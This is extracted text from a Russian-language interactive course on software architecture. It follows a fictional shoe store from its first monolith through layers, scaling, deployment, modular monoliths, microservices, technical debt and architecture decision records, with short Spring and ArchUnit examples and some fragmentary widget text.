| Большие тела ответов | Отдаёте 2 МБ JSON, из которых клиент показывает три поля | Отдавать только нужные поля; сжатие; постраничная выдача | Больше вариантов ответа — больше договорённостей с клиентом |
Что портит четыре главных свойства и как это чинить
Четыре свойства, из-за которых чаще всего зовут архитектора. Выберите свойство — получите список того, что на него влияет. Нажмите на причину — увидите, как она выглядит, почему так происходит, чем лечится и чем за это платят.
глава 12 · долг технический долг как кредит
К лету в «Ботинке-1» каждая доработка стала занимать вдвое дольше, чем весной. Никто не стал работать хуже. Просто каждое «сделаем пока так, потом поправим» копилось. Это копилка имеет имя.
Какой бывает долг: квадрант Фаулера
Мартин Фаулер в 2009 году разложил долг по двум осям: осознанный или случайный, разумный или безрассудный.
Симулятор: двадцать спринтов «Ботинка»
У команды 30 очков работы на спринт (две недели). Выберите, срезать ли углы, и какую долю спринта отдавать на погашение долга. Жмите «▶ Спринт» по одному или сразу «⏩ До конца». Настройки можно менять посреди пути — например, срезать углы перед Чёрной пятницей, а потом погасить.
глава 13 · много частей когда частей много: восемь заблуждений и закон Конвея
На третий год «Ботинок» вырос: пять команд, несколько сервисов, вызовы по сети. Всё, что внутри одной программы было бесплатным, стало стоить денег и миллисекунд. Разработчики, привыкшие к одной программе, совершают одни и те же ошибки. Их давно собрали в список.
Восемь заблуждений распределённых вычислений
Список Питера Дойча и Джеймса Гослинга. Каждое заблуждение — это то, что разработчик неосознанно считает правдой, пока не вынесет вызов за пределы процесса. Выберите пункт: там написано, во что это выливается в проде.
Закон Конвея и обратный манёвр
Симптом «архитектура = оргструктура»
Сервисы называются «бэкенд», «фронтенд», «интеграции», «отчёты». Это слои и отделы, а не части бизнеса. Любая бизнес-фича требует правок во всех четырёх и четырёх согласований.
Как должно быть
Сервисы называются «Заказы», «Платежи», «Каталог», «Доставка». У каждого команда, которая может выкатить фичу целиком, не спрашивая остальных. Это и есть поток-ориентированная команда.
глава 14 · роли кто решает: бизнес, аналитик, архитектор
В «Ботинке-1» все решения принимал Борис — просто потому, что он писал код. В «Ботинке-2» решения принимались вместе, но у каждого была своя часть. Разберём, чья какая.
Кто за что отвечает
| Что | Бизнес | Аналитик | Архитектор |
|---|---|---|---|
| Цели и ограничения (деньги, сроки, риск) | решает | выясняет и записывает | проверяет на реалистичность |
| Функции и сценарии, в том числе сценарии отказов | подтверждает | описывает | задаёт вопросы «а если…» |
| НФТ в числах | называет цену простоя и ожидания | формулирует измеримо | проверяет, достижимо ли и сколько стоит |
| Архитектурно значимые требования | — | находит и приносит | оценивает влияние |
| Варианты решения и их цена | — | помогает перевести цену на язык бизнеса | готовит |
| Выбор между вариантами с разной ценой для бизнеса | выбирает | готовит сравнение | рекомендует |
| Технические решения внутри выбранного варианта | — | — | принимает |
| Запись решения (ADR) и контроль соблюдения | — | ссылается в постановке | ведёт |
Путь одного требования: от «хочу» до решения
Вера говорит: «В Чёрную пятницу заказов будет в 20 раз больше». Пройдите, как это превращается в решение.
Архитектурно значимые требования
Признаки ASR — если хотя бы два совпали, несите требование архитектору:
Задевает много частей
Аудит всех изменений цены, единый вход, мультиязычность.
Про качество, а не функцию
Нагрузка, доступность, время ответа, безопасность, время на изменение.
Жёсткое внешнее ограничение
Закон (например, 152-ФЗ о персональных данных), требования банка, формат партнёра, бюджет.
Дорого исправить потом
Касается данных, внешних контрактов, модели денег и идентификаторов.
Высокий риск или неизвестность
Никто в команде такого не делал; нагрузка непонятна; партнёр ещё не выбран.
Резкие числа
«В 20 раз больше», «за 1 минуту», «0 потерянных», «99,99 %».
Сортировщик: значимое или обычное?
Решено 0 из 0.
Как приоритизировать: дерево полезности
Значимых требований обычно больше, чем можно сделать сразу. Метод оценки архитектуры ATAM (тоже из SEI) предлагает дерево полезности: атрибут → уточнение → сценарий, и у каждого сценария две оценки: важность для бизнеса и сложность для архитектуры (В — высокая, С — средняя, Н — низкая). Первыми обсуждают сценарии с парой (В, В).
Полезность «Ботинка»
├─ Доступность
│ ├─ отказ сервера базы ....... заказы не теряются, простой ≤ 60 с (В, В)
│ └─ выкатка новой версии ..... без простоя оформления заказа (В, С)
├─ Производительность
│ ├─ Чёрная пятница ×20 ....... p95 оформления ≤ 1 с, ошибок ≤ 0,5 % (В, В)
│ └─ ежедневный отчёт ......... не замедляет продажи больше чем на 10 % (С, Н)
├─ Изменяемость
│ └─ новый способ оплаты ...... ≤ 10 рабочих дней, правки в 1 модуле (В, С)
└─ Безопасность
└─ вход в чужой аккаунт ..... второй фактор с нового устройства (В, С)
Как записать решение: ADR
Когда решение принято, его записывают коротко. Такой документ называется ADR (Architecture Decision Record, запись архитектурного решения). Формат предложил Майкл Найгард в 2011 году. Вот ADR «Ботинка-2» из января.
ADR-002. Денежные суммы — целым числом в копейках
Статус: принято, 12 января
Контекст: скидки в процентах, НДС, возвраты частями. Чеки сверяются
с банком до копейки. Дробные числа с плавающей точкой
округляют по-разному в разных местах.
Решение: все суммы хранятся и передаются целым числом в копейках
(4 990 ₽ → 499000). Округление — только в модуле расчёта
цены, до копейки, половина — вверх.
Цена: чуть неудобнее читать в базе; на экране нужно форматирование.
Пересмотр: если появится валюта с другим числом знаков после запятой.
Сортировщик: кто здесь главный?
Для каждой задачи выберите, кто за неё отвечает — чьё это решение или чья работа в первую очередь.
Решено 0 из 0.
глава 15 · развязка год спустя: что на самом деле сделал архитектор
Декабрь. У «Ботинка-1» и «Ботинка-2» одинаковые витрины, одинаковый ассортимент и одинаковая команда. Покупатели разницы почти не видят. Пока. Сведём итоги в одну таблицу — нажмите на строку, чтобы увидеть разбор.
Шесть мыслей, которые стоит унести
глава 16 · проверь себя задачи из жизни «Ботинка»
Отличить архитектурное решение от прикладного
Решено 0 из 0.
Решения, числа и роли
Решено 0 из 0.
Вся архитектура уже придумана — в кафе, в поликлинике, на почте и в супермаркете. Там те же задачи: много людей, мало рук, что-то ломается, и всё равно надо обслужить. Здесь мы сначала посмотрим, как это работает в жизни, а потом уже будем называть умными словами.
зачем это зачем разбирать живые системы
игра «Кафе растёт»: пройдите путь от ларька до сети
Вы открыли кафе. Каждый раунд гостей становится больше, и что-то начинает ломаться. Выберите, что сделать. Правильный выбор — гости довольны. Неправильный — уходят к конкурентам.
переводчик умное слово → что это на самом деле
Нажмите на карточку — увидите, что это значит «на человеческом». Это не упрощение ради упрощения: если вы не можете объяснить термин через кафе или почту, вы его пока не понимаете.
задание угадайте термин по описанию
Описание бытовое — термин архитектурный. Решено 0 из 0.
Монолит — это когда весь код собирается в одну программу и запускается одним куском. И всё. Это не оценка «хорошо» или «плохо»: внутри монолита может быть идеальный порядок, а может быть свалка. Большинство систем должны начинаться отсюда — и многим тут и место. Весь раздел — один год из жизни магазина «Ботинок»: разработчик Борис делает первый коммит в январе, а к декабрю его аккуратная программа превращается в «большой ком грязи». Проживём этот год по месяцам — и посмотрим, где монолит силён, где он ломается и как его лечить без переписывания.
зачем это зачем вообще начинать с монолита
карта раздела один год одного монолита, двенадцать глав
Читайте по порядку: каждая глава опирается на предыдущую, а месяцы идут друг за другом. Кнопка переносит к главе. Четыре главы — живые модели: их можно запускать, ломать и чинить.
глава 1 · январь первый коммит: что такое монолит и что значит «одна программа»
Январь. Борис — единственный разработчик магазина кроссовок «Ботинок». Владелец хочет сайт к весне: каталог, корзина, заказ, бонусные баллы. Борис создаёт один проект shop, одну базу shop_db и делает первый коммит. Никакого «архитектурного решения» он не принимает — он просто пишет программу. И программа получается монолитом: так выглядит почти любая система в первый день жизни.
shop.jar: в нём скомпилированный код всех частей магазина и все библиотеки.Что значит «одна программа» — буквально, в командах
«Одна программа» — это буквально три вещи одновременно. Раскройте каждую: там вывод настоящих команд.
Три признака — три рычага
Самое полезное, что стоит понять про монолит: почти все остальные стили получаются, если у монолита отключить один из трёх признаков. Попробуйте — снимайте галочки и смотрите, во что он превращается.
Как это звучит у аналитика
В архитектурном разделе требований монолит описывают прямо и без стыда. Например:
Каждая из этих трёх строк появится в истории Бориса ещё раз — и каждая окажется не формальностью.
глава 2 · февраль слои: как Борис раскладывает код по полочкам
Февраль. Кода стало несколько тысяч строк, и Борис раскладывает его так, как учат в каждом учебнике по Spring: по слоям. Запрос приходит сверху, проходит через слои и уходит в базу.
🎛 Контроллер (controller)
Принимает HTTP-запрос, проверяет, что данные правильной формы (число — это число, размер не пустой), вызывает сервис и превращает результат в ответ. Правил бизнеса не содержит. Официант.
⚙ Сервис (service)
Бизнес-правила: «нельзя продать больше, чем на складе», «бонусами можно оплатить не больше 30 % заказа». Здесь начинается и заканчивается транзакция. Повар.
🗂 Репозиторий (repository)
Единственное место, где живёт SQL: «найди заказ», «сохрани», «уменьши остаток». Сервис не знает, как устроены таблицы, — он просит репозиторий. Кладовщик.
🗄 База данных
Хранит таблицы, следит за ограничениями (остаток не меньше нуля) и даёт транзакции: либо все изменения, либо ни одного. Склад.
Order со всеми связями) наружу не показывается — отдаётся её упрощённая копия.Схема: как он устроен
Классический монолит режется по слоям: контроллеры сверху, сервисы посередине, репозитории снизу, одна база под всем. Бизнес-возможности при этом размазаны горизонтально: «Заказы» живут кусочками в каждом слое.
OrderService дёрнуть PaymentRepo напрямую, а отчёту — сделать JOIN по семи чужим таблицам. Компилятор это разрешает, ревью пропускает, и через два года каждая таблица используется двенадцатью местами. Вынести что-либо после этого физически невозможно — не потому что монолит, а потому что не было границ.Проводник по коду: откройте монолит и посмотрите, что внутри
Настоящий проект интернет-магазина. Нажимайте на файлы слева — справа будет их содержимое и разбор, что здесь важного.
глава 3 · март · живая модель Анна оформляет заказ: путь запроса через слои
Март. Сайт открылся. Анна выбирает кроссовки 42 размера за 7 990 ₽, решает списать 500 бонусных баллов и нажимает «Оформить заказ». Для неё проходит доля секунды. Внутри монолита за это время запрос проходит все слои, меняет три таблицы и либо сохраняет всё, либо не сохраняет ничего. Посмотрим на это по шагам — а потом начнём ломать.
BEGIN, заканчивается COMMIT (подтвердить всё) или ROLLBACK (отменить всё).BEGIN», будто ничего и не начиналось.Выберите сценарий и жмите «Дальше» или ▶. Пакет летит между слоями. Под схемой — рамка транзакции и три таблицы: жёлтым курсивом — черновик, который видит только эта транзакция; зелёным — подтверждённые данные; зачёркнутым красным — то, что откатили.
shop.jar: пакет между ними перелетает за наносекунды, это обычный вызов метода. Настоящая сеть — только слева (от браузера) и справа (до базы). Рамка «транзакция» растянута от сервиса до базы: именно сервис её открывает и закрывает.@Transactional откатывает транзакцию только на непроверяемых исключениях (наследниках RuntimeException) и ошибках (Error). Проверяемое исключение (Exception, которое обязательно объявлять в throws) по умолчанию приведёт к COMMIT всего, что успели сделать. Лечится явным @Transactional(rollbackFor = Exception.class) или привычкой бросать непроверяемые исключения. И второе: @Transactional срабатывает только при вызове метода снаружи объекта — вызов своего же метода через this транзакцию не откроет.глава 4 · апрель · калькулятор почему монолит быстрый: вызов в памяти против сетевого
Апрель. Борис начитался статей и приходит к аналитику Олегу: «Давай распилим магазин на сервисы, так же все делают». Олег не спорит, а открывает калькулятор. Первое, что он хочет понять: что станет со скоростью, если каждый вызов метода между частями магазина превратится в запрос по сети.
Ориентиры: порядки величин
Точные цифры зависят от железа, языка и сети. Но порядки стабильны уже много лет, и именно они решают дело.
| Действие | Порядок времени | Если растянуть вызов метода (5 нс) до 1 секунды |
|---|---|---|
| Вызов метода в том же процессе | ≈ 1–5 нс | 1 секунда |
| Чтение из оперативной памяти | ≈ 100 нс | 20 секунд |
| Туда-обратно по сети внутри дата-центра | ≈ 0,1–0,5 мс | от шести часов до суток |
| Запрос к базе по индексу (со своей сетью) | ≈ 0,5–2 мс | от суток до пяти дней |
| HTTP + JSON к соседнему сервису | ≈ 1–5 мс | от двух дней до двух недель |
| Запрос на другой континент | ≈ 70–150 мс | от полугода до года |
Ориентиры восходят к известному списку «задержки, которые должен знать каждый программист» (Джефф Дин, Питер Норвиг) и к сегодняшним замерам в облаках. Это порядок, а не обещание: у вас может быть в 2–3 раза быстрее или медленнее — но не в тысячу.
Калькулятор: что станет с запросом Анны
Оформление заказа внутри монолита — это цепочка вызовов между частями: заказы спрашивают склад, склад — каталог, заказы — бонусы, бонусы — клиентов. Сколько таких вызовов на один запрос? В реальных системах — от единиц до десятков. Двигайте ползунки.
глава 5 · май · живая модель распродажа: как масштабируют монолит и где он упирается
Май. Первая большая распродажа. В обычный день к магазину приходит 200 запросов в секунду, а в обед распродажи — полторы тысячи. Одна копия shop.jar на одном сервере начинает отвечать по пять секунд, потом выдаёт ошибки. Что делает Борис? Сначала — самое простое.
max_connections).Живая модель: крутите нагрузку и чините узкие места
Слева покупатели, дальше балансировщик, копии монолита, хранилище сессий, кеш и база. Внутри каждого блока — полоска загрузки. Нажмите «▶ Пустить поток», чтобы увидеть бегущие запросы (зелёные — успешные, оранжевые — корзина потерялась, красные — ошибка). Задача: выдержать 2 000 запросов в секунду так, чтобы ошибок было меньше 1 %, а корзины не терялись.
Что масштабируется легко
Копии монолита — если он не хранит состояние в памяти. Тогда добавить копию — это просто запустить ещё один такой же shop.jar. Всё, что помнит покупателя, живёт снаружи: сессии в Redis, файлы в хранилище, данные в базе.
Что упирается первым
Общая база. Копий можно запустить сколько угодно, а база одна: её процессор, её диск, её предел соединений. Поэтому следующие шаги почти всегда про базу: кеш, реплики для чтения, пул соединений перед базой (например, PgBouncer), оптимизация запросов.
Чем платим за «масштабируется целиком»
Нагружен только каталог, а размножать приходится весь магазин: вместе с отчётами, админкой и их памятью. Обычно это дешевле, чем кажется: память стоит меньше, чем команда, обслуживающая десять сервисов. Но если одна часть требует в 100 раз больше ресурсов, её выделение становится разумным.
Как это звучит в требованиях
«Приложение не хранит пользовательское состояние в памяти экземпляра; потеря любого экземпляра не приводит к потере корзины. Система выдерживает 2 000 запросов/с при 95-м перцентиле времени ответа не более 300 мс и доле ошибок не более 0,1 %».
глава 6 · июнь · проигрыватель выкладка: одна кнопка, простой и сине-зелёная схема
Июнь. Магазин живёт на двух копиях. Борис выкатывает новую версию по пятницам в 23:00, «чтобы никто не заметил»: останавливает всё, кладёт новый shop.jar, запускает. Минута-две ошибок. Однажды новая версия не стартовала из-за опечатки в настройках — и магазин лежал сорок минут, пока Борис искал старый файл. Владелец попросил: «Больше никаких ночных выкладок и никаких простоев».
Выберите способ и пройдите по шагам. Сверху — балансировщик, два окружения и база; под ними — полоса «куда идёт поток покупателей». Нагрузка — 300 запросов в секунду.
Три способа рядом
| Одна кнопка | По очереди | Сине-зелёная | |
|---|---|---|---|
| Простой | да, время запуска | нет | нет |
| Две версии одновременно | нет | да, минуты | секунды, в момент переключения |
| Откат | новая выкладка старой версии, минуты | ещё один проход по копиям | переключить обратно, секунды |
| Нужно железа | ×1 | ×1 и одна запасная копия | ×2 на время выкладки |
| Главная сложность | ночные выкладки и страх | совместимость версий | база данных общая для обоих цветов |
глава 7 · лето команда растёт: почему в монолите всё быстро — и когда это кончается
Июль — август. Бизнес идёт в гору. К Борису пришли Вика и ещё двое, к осени в том же коде работают четыре команды: каталог, заказы, склад и маркетинг. Код почти не изменился — изменилось число людей, которые его правят. И вот тут у монолита появляется первая настоящая проблема.
День разработчика: одна задача — разный размер команды
Одна и та же задача: «добавить в заказ поле „комментарий"». Посмотрите, как она проходит при разном размере команды.
Релизный поезд: почему монолит замедляется от размера команды
Монолит выкатывается целиком. Значит, релиз — это общий поезд: если чья-то фича сломала тесты, поезд стоит у всех. Покрутите ручки и посмотрите, что происходит с потоком поставки.
глава 8 · осень · живая модель паутина связей: как растёт граф зависимостей
Сентябрь — ноябрь. Каждый месяц в магазине появляется что-то новое: отчёты для Олега, скидки, уведомления, бонусная программа, «с этим товаром покупают». Каждая доработка добавляет в код пару «быстрых» связей: «тут проще взять чужой репозиторий напрямую», «тут вызову их сервис, а они — мой». По отдельности каждая связь безобидна и проходит ревью. Посмотрим, во что они складываются за год.
Живая модель: двенадцать месяцев одного кода
Двигайте месяц или нажмите ▶. Цветные области — части бизнеса (заказы, каталог, склад…). Серые стрелки — связи внутри своей части, красные — связи в чужую часть, пунктир — новые в этом месяце. Классы в оранжевой пунктирной рамке попали в цикл. Нажмите на любой класс — подсветится всё, что может сломаться, если его поменять.
глава 9 · декабрь большой ком грязи: виды монолитов и признаки, что пора лечить
Декабрь. Олег приносит простую задачу: разрешить покупателю указать второй телефон для курьера. Борис оценивает её в неделю. Владелец не понимает: «Одно поле же!» Борис показывает: на таблицу клиентов смотрят четырнадцать мест в коде, и три из них он видит впервые. Год назад такая задача заняла бы полдня. Код не стал монолитом — он был им с января. Он стал комом грязи.
Виды монолитов: не все монолиты одинаковы
1 · Одномодульный (слоистый)
То, что у Бориса: одна сборка, код разложен по техническим слоям, границ между частями бизнеса нет. Прекрасен на старте, склонен скатываться в ком грязи по мере роста. Лечится заведением модулей.
2 · Модульный монолит
Одна сборка и один процесс, но внутри — модули по бизнес-возможностям с жёсткими границами: чужие классы видны только через фасад, нарушения ловит автоматическая проверка при сборке. Почти вся польза микросервисов без сети.
3 · Распределённый монолит
Худший вариант: система уже разрезана на сервисы, общается по сети, но сервисы нельзя выкатывать по отдельности, они делят базу или падают цепочкой. Сложность распределённой системы получена, независимость — нет.
Нажмите на строку таблицы — раскроется пояснение.
Диагноз: признаки, что монолит пора лечить
Важно: ни один из признаков не означает «надо на микросервисы». Все они означают «границ внутри нет». Границы можно завести и не разрезая процесс — об этом следующая глава и следующая вкладка. Нажимайте на признак, чтобы раскрыть разбор.
глава 10 · лечение как лечить монолит без переписывания
Январь следующего года. У Бориса два соблазна. Первый — «перепишем всё с нуля, на этот раз правильно». Второй — «распилим на микросервисы». Олег предлагает третий путь: навести порядок внутри, не останавливая магазин ни на день.
Семь шагов лечения
Шаги идут в таком порядке не случайно: каждый опирается на предыдущий и сам по себе приносит пользу. Можно остановиться на любом. Нажимайте, чтобы раскрыть.
Монолит честно: что выигрываем и чем платим
глава 11 · кто так живёт большие монолиты в реальном мире — и когда монолит правильный ответ
Борису кажется, что монолит — удел маленьких. Олег показывает ему несколько известных компаний, которые сознательно живут на монолите при огромной нагрузке или большом числе разработчиков. Факты взяты из инженерных блогов самих компаний; год указан, потому что с тех пор многое могло поменяться.
Stack Overflow
- Одно приложение на ASP.NET, основные данные — в Microsoft SQL Server, кеш — Redis.
- В 2016 году: 11 веб-серверов IIS, 4 сервера SQL Server; около 209 миллионов HTTP-запросов в сутки, из них около 66 миллионов — загрузки страниц.
- Инженер Ник Крейвер писал, что вся сеть сайтов вопросов и ответов может работать на одном веб-сервере — они это нечаянно проверяли; но делать так он не советовал.
Shopify
- Ядро — монолит на Ruby on Rails, одна из крупнейших Rails-кодовых баз: к 2020 году больше 2,8 млн строк Ruby и 500 тысяч коммитов, над ним работали сотни разработчиков.
- С 2017 года — проект «компонентизации»: около 6 000 классов переложили из слоёв (модели, контроллеры) в компоненты по бизнесу — заказы, доставка, склад, биллинг.
- Цель — модульный монолит, а не микросервисы. Границы проверяет собственный инструмент Packwerk (открыт в 2020 году).
Basecamp (37signals)
- Дэвид Хайнемайер Ханссон (создатель Ruby on Rails) в 2016 году написал эссе «The Majestic Monolith» — «величественный монолит».
- Basecamp 3 работал в браузере, как мобильные приложения для iOS и Android, как настольные для Windows и Mac и через почту — и всё это делали 12 программистов.
- Главный довод: маленькой команде не нужна распределённость; первое правило распределённых вычислений — «не распределяйте вычисления».
Amazon Prime Video — обратный переезд
- В 2023 году команда сервиса проверки качества видеопотоков описала, как перенесла его из набора распределённых компонентов (AWS Step Functions и Lambda) в одно приложение.
- Стоимость инфраструктуры этого сервиса упала более чем на 90 %, а масштабироваться он стал лучше.
- Важно: это один сервис внутри большой системы, а не отказ Amazon от сервисов вообще. Урок в другом: границы процессов — не бесплатны, и их можно двигать в обе стороны.
Решение: когда монолит — правильный ответ
Отметьте пункты, верные для вашей ситуации. Чем больше отмечено — тем дороже вам обойдётся распределённость.
Как это звучит в требованиях: НФТ для монолита
Аналитику не нужно писать «сделайте монолит». Нужно записать свойства, которые делают монолит здоровым, — так, чтобы их можно было проверить.
глава 12 · проверь себя задания: когда монолит, а когда нет
Три блока. Первый — классические вопросы о выборе. Второй — по главам этого раздела. Третий — отличить болезнь монолита от болезни «без границ».
Блок 1. Выбор
Решено 0 из 0.
Блок 2. По главам
Решено 0 из 0.
Блок 3. Кто виноват: монолит или отсутствие границ?
Для каждой беды выберите настоящую причину. Решено 0 из 0.
Это всё ещё один кусок, но внутри у него настоящие стены. У каждого модуля свои таблицы. Наружу торчит только витрина. А если кто-то полез в чужое — сборка падает, и правку просто не примут. Лучший старт для команды, которой рано в микросервисы, и лучшая подготовка к ним, если время придёт.
зачем это зачем нужен модульный монолит
зачем он нужен что именно болит в обычном монолите
Прежде чем разбираться в устройстве — зачем вообще этот переход. Четыре боли, из-за которых наводят модули. Нажмите на любую: слева будет «как сейчас», справа «как станет».
анатомия из чего он состоит: нажмите на любую часть
Прежде чем разбираться, как он работает, посмотрим, из чего он сделан. Нажимайте на части схемы — под ней появится объяснение.
словарь модуля что за звери: фасад, DTO, событие, сущность
В схеме выше мелькали слова, которые сами по себе ничего не говорят. Разберём каждое: что это, зачем нужно, как выглядит в коде и какая с ним бывает ошибка.
с самого начала чем он отличается от обычного монолита
Коротко: всеми тремя признаками монолита он остаётся. Одна сборка, один запуск, одна база. Меняется только одно — что происходит внутри.
🏢 Обычный монолит = опенспейс
Все сидят в одном зале без перегородок. Можно повернуться и взять бумагу с любого чужого стола. Быстро и удобно — ровно до того момента, когда людей стало тридцать и никто не помнит, чья это бумага и можно ли её трогать.
🚪 Модульный монолит = офис с кабинетами
То же здание, тот же этаж, все рядом. Но у каждого отдела свой кабинет с дверью. Нужен документ — стучитесь и просите через сотрудника, а не роетесь в чужих ящиках. Занимает на минуту дольше, зато через год понятно, у кого что.
три слова фасад, граф и цикл — что это вообще такое
Дальше в этом разделе встретятся три слова, без которых ничего не понятно. Разберём их сразу, по одному.
правила четыре правила, которые делают монолит модульным
Всё остальное — детали. Если выполняются эти четыре, вынести модуль в отдельный сервис позже — это вопрос недели: заменить вызов метода на HTTP-клиент за тем же интерфейсом.
принцип по какому правилу вообще раскладывать код
Один и тот же код можно разложить по папкам двумя способами. Файлы те же самые — разная только группировка. Нажмите на задачу и посмотрите, какие файлы придётся открыть.
алгоритм как разложить свою систему: шесть шагов
Работает и для нового проекта, и для наведения порядка в существующем. Делайте по порядку, шаги опираются друг на друга.
структура по слоям или по фичам
Одни и те же классы можно разложить двумя способами. Слева — привычная нарезка по техническим слоям, справа — по бизнес-возможностям. Разница не косметическая: во втором случае у модуля есть граница, и её можно защитить.
Package by layer — границы нет
// «Заказы» размазаны по четырём пакетам. // Чтобы вынести заказы, надо собрать их по всей базе кода. com.shop ├── controller/ │ OrderController, PaymentController, CatalogController ├── service/ │ OrderService, PaymentService, CatalogService ├── repository/ │ OrderRepo, PaymentRepo, CatalogRepo └── model/ Order, Payment, Product ← общие для всех // Ничто не мешает написать: class OrderService { private final PaymentRepo paymentRepo; // чужой репозиторий void pay(Long id){ paymentRepo.insertDirect(...); // мимо чужой логики } }
Package by feature — граница есть
// Модуль целиком в одном пакете. Наружу торчит // только api/, всё остальное — internal/. com.shop ├── order/ │ api/ OrderFacade, OrderDto, OrderPlaced │ internal/ OrderService, OrderRepo, Order ├── payment/ │ api/ PaymentFacade, PaymentDto │ internal/ PaymentService, PaymentRepo └── catalog/ api/ CatalogFacade, ProductDto internal/ ... // Единственный законный способ: class OrderService { private final PaymentFacade payments; // контракт void pay(Long id){ payments.charge(new ChargeCmd(id, sum)); // его правила } }
PaymentFacade — это интерфейс. Когда придёт время вынести платежи в сервис, вы пишете вторую реализацию этого интерфейса поверх HTTP-клиента и подменяете бин. Вызывающий код не меняется вообще. В левой схеме такой точки подмены не существует, и выделение превращается в археологические раскопки.попробуйте сами что такое «стена» на самом деле
Вы пишете код в модуле «Заказы». Вам нужны данные о клиенте. Нажмите на каждый способ и посмотрите, что скажет сборка.
интерактив страж границ: какие зависимости пропустить в сборку
Ниже — реальные зависимости, которые люди пытаются добавить в код. Ваша задача — решить, пропустить или отклонить. Так же работает автоматическая проверка (ArchUnit, Spring Modulith, jQAssistant, deptrac): правило описано в тесте, и сборка падает на нарушении, ещё до ревью.
Разобрано 0 из 0.
А вот как это выглядит в виде теста
// ArchUnit: правило живёт в коде и падает в CI, а не в голове тимлида @ArchTest static final ArchRule modules_do_not_touch_internals = slices().matching("com.shop.(*)..") .should().notDependOnEachOther() .ignoreDependency(alwaysTrue(), resideIn("..api..")); @ArchTest static final ArchRule no_cross_module_repositories = noClasses().that().resideInAPackage("..order..") .should().dependOnClassesThat().resideInAPackage("..payment.internal.."); // Spring Modulith делает то же самое одной строкой: @Test void verifiesModularStructure(){ ApplicationModules.of(ShopApplication.class).verify(); }
попробуйте соберите цикл своими руками
Три модуля. Нажимайте на стрелки — добавляйте и убирайте зависимости. Смотрите, что говорит сборка.
диаграмма как модули разговаривают: посмотрите своими глазами
Клиент оплатил заказ. Модуль «Платежи» должен сообщить об этом модулю «Заказы». Три способа сделать это внутри одного процесса — выберите и прожмите шаги.
механика как модули разговаривают внутри одного процесса
Три способа, от самого связного к самому развязанному. Выбор тот же, что между сервисами, — просто здесь он дешевле и обратим.
1. Синхронный вызов фасада
payments.charge(cmd). Просто, в одной транзакции, результат сразу. Но модули связаны: «Заказы» знают о существовании «Платежей» и падают вместе с ними.
Когда: нужен ответ прямо сейчас и в той же транзакции. Списание, резерв, проверка лимита.
2. Внутреннее доменное событие
events.publish(new OrderPlaced(id)). Издатель не знает подписчиков. Spring: @TransactionalEventListener(AFTER_COMMIT) — обработка после фиксации транзакции.
Когда: «случился факт, пусть заинтересованные реагируют». Уведомления, бонусы, аналитика.
3. Событие через очередь
То же событие, но уходит в брокер и обрабатывается отдельным потоком или процессом. Внутри монолита это уже репетиция распределённой системы.
Когда: обработка долгая, её не должно быть видно в ответе, и её надо уметь повторить при сбое.
@EventListener в Spring выполняется синхронно и в той же транзакции. Исключение у подписчика откатит транзакцию издателя — то есть «отправка письма не удалась» отменит заказ. Поэтому для реакций на свершившийся факт берут AFTER_COMMIT, а если реакция обязана выполниться — её кладут в ту же транзакцию через outbox.эксперимент что будет через полгода
Два одинаковых проекта. В одном проверка границ включена, в другом решили «мы и так аккуратные». Прокрутите время.
баланс модульный монолит честно
задание границы модулей
Решено 0 из 0.
Микросервис — это кусок системы, который можно выкатить отдельно, который отвечает за понятное бизнесу дело и владеет своими данными. Три условия. Уберите любое — получится не микросервис, а кусок монолита, растянутый по сети.
зачем это зачем нужны микросервисы
зачем они нужны что болит в модульном монолите — и что не болит
Модульный монолит закрыл границы, порядок и понятность. Осталось ровно четыре вещи, которые он закрыть не может. Только ради них и переходят на микросервисы. Нажмите на каждую.
с самого начала что именно меняется
Мы разобрали монолит: одна сборка, один запуск, одна база. Микросервисы — это когда все три признака отключены сразу. У каждой части свой репозиторий, свой процесс и своя база.
Одна и та же строчка кода в трёх мирах
Смотрите, как одна операция — «взять заказ вместе с именем клиента» — меняется при переходе. Переключайте.
чем платим четыре вещи, которые были бесплатными и перестали
Это главное, что нужно понять про микросервисы. Не «они лучше» и не «они хуже» — а вот конкретно что вы теряете. Нажмите на каждую.
проверка три вопроса, отличающие микросервис от куска монолита по сети
Могу ли я выкатить его один?
Не «технически запустится», а без согласованного релиза с другими. Если выкатка требует одновременно обновить ещё два сервиса — это один сервис, разрезанный на три процесса.
Кто ещё пишет в его базу?
Правильный ответ — никто. Общая база означает, что схему нельзя менять в одиночку, а значит и выкатываться в одиночку тоже нельзя.
Что сломается, если он на час ляжет?
Если ответ «всё» — изоляции нет. Здоровая система при падении сервиса рекомендаций перестаёт показывать рекомендации, а не продавать.
интерактив калькулятор цепочки: цена каждого сетевого прыжка
Главный контринтуитивный факт распределённых систем: надёжности перемножаются, а задержки складываются. Один вызов пользователя проходит цепочку сервисов — покрутите ручки и посмотрите, во что превращается «каждый сервис надёжен на 99,9 %».
антипаттерн распределённый монолит — худшее из двух миров
Система выглядит как микросервисы, а ведёт себя как монолит: сложность распределённости уже оплачена, независимость ещё не получена. Нажмите на признак, чтобы увидеть, чем он лечится.
цена налог на микросервисы: что придётся построить до первого сервиса
Это не «желательно», а входной билет. Без этих вещей двадцать сервисов — это двадцать способов сломаться так, что никто не заметит.
размер насколько «микро» — это микро
Правильный ответ на вопрос «сколько строк в микросервисе» — это неправильный вопрос. Размер определяется границей, а не строками. Рабочие ориентиры:
Годные ориентиры
- Один ограниченный контекст — сервис отвечает за одну связную часть предметной области с единым языком.
- Одна команда владеет целиком — и способна выкатить фичу без чужих согласований.
- Держится в голове одного человека — новичок понимает сервис за неделю.
- Переписывается за пару недель — если сервис нельзя выбросить и переписать, он слишком большой.
Негодные ориентиры
- Сервис на сущность — «сервис заказов», «сервис клиентов», «сервис адресов». Получается распределённая база данных: каждая операция трогает пять сервисов.
- Число строк кода — 500 строк логики платежей и 500 строк CRUD — разные вещи.
- Сервис на разработчика — прямая дорога к наносервисам и оргхаосу при первом же увольнении.
- «Как у Netflix» — у них три тысячи инженеров и своя платформенная команда. Их ограничения не ваши.
баланс микросервисы честно
задание микросервис или его имитация
Решено 0 из 0.
Это не два варианта, а линейка. Между «одна программа, одна база» и «сто сервисов» есть середина, и почти все живут именно там. Правильный вопрос не «монолит или микросервисы», а «что у нас болит и какой самый маленький шаг это вылечит».
напрямую чем один лучше другого: три пары
Не таблица на двенадцать строк, а три честных сравнения по два. Выберите пару.
подбор что нужно именно вам: пять вопросов
Ответьте про свой проект — получите вариант с обоснованием и первым шагом. Ответы можно менять, результат пересчитается.
шкала пять точек, а не две
таблица двенадцать критериев вплотную
Нажмите на строку — раскроется объяснение, почему именно так, и что с этим делать. Столбцы: М — монолит, ММ — модульный монолит, МС — микросервисы.
